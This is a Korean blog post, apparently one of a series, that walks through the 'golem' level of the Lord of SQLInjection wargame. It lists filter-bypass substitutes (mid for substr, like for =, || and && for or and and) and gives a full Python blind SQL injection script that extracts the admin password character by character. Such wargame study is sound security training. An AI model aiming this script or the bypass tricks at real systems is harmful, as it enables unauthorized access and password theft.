admin으로 로그인해야하는데 기존에 사용하던 substr, = 등의 연산자 또는 함수들을 필터링하는 코드들이 추가됐음을 확인할 수 있었다.
하지만 substr는 mid로, =는 like로, 비슷한 기능을 하는 대체제를 사용할 수 있었다.
필터링되는 단어 | 대체제 |
substr() | mid() |
= | like |
or | || |
and | && |
Orc 문제에서 사용한 코드를 기반하여 위 테이블과 같이 치환하여 다음과 같은 코드를 완성할 수 있었다.
더보기
import requests
URL = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
Sess = {'PHPSESSID': '9i2l22igeud2lesoff2tvo7q91'}
ConfirmKey = "Hello admin"
Dict = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
length = 0
password = ""
def sendReq(payload):
return requests.get(URL, cookies=Sess, params=payload)
print("[*] Started")
print("[*] Calculating length of password")
while True:
if ConfirmKey in sendReq({"pw": "' || id like 'admin' && length(pw) like " + str(length) + " -- '"}).text:
print("[+] Found length : " + str(length))
break
else:
print("[!] Tried : " + str(length))
length+=1
print("[*] Looking for password")
while True:
for Current in Dict:
if ConfirmKey in sendReq({'pw': "' || id like 'admin' && ascii(mid(pw," + str(len(password) + 1) + "," + str(len(password) + 1) + ")) like " + str(ord(Current)) + " -- '"}).text:
password+=Current
print("[+] Found password of state " + str(len(password)) + " : " + str(Current))
print("[" + str(len(password)) + "/" + str(length) + "] Current State : " + password)
if len(password) == length:
break
else:
print("[!] Tried : " + str(Current))
if len(password) == length:
break
else:
print("[>] One loop done.")
print("[*] Job Done!")
위 코드의 실행 결과로 비밀번호를 얻었다.
이 키로 인증하니 풀렸다.
'보안공부 > Lord of SQLInjection 풀이' 카테고리의 다른 글
Lord of SQLInjection Vampire 풀이 (0) | 2024.11.08 |
---|---|
Lord of SQLInjection Skeleton 풀이 (0) | 2024.10.15 |
Lord of SQLInjection Darkknight 풀이 (0) | 2024.10.15 |
Lord of SQLInjection BUGBEAR 풀이 (0) | 2024.10.15 |
Lord of SQLInjection Giant 풀이 (0) | 2024.10.15 |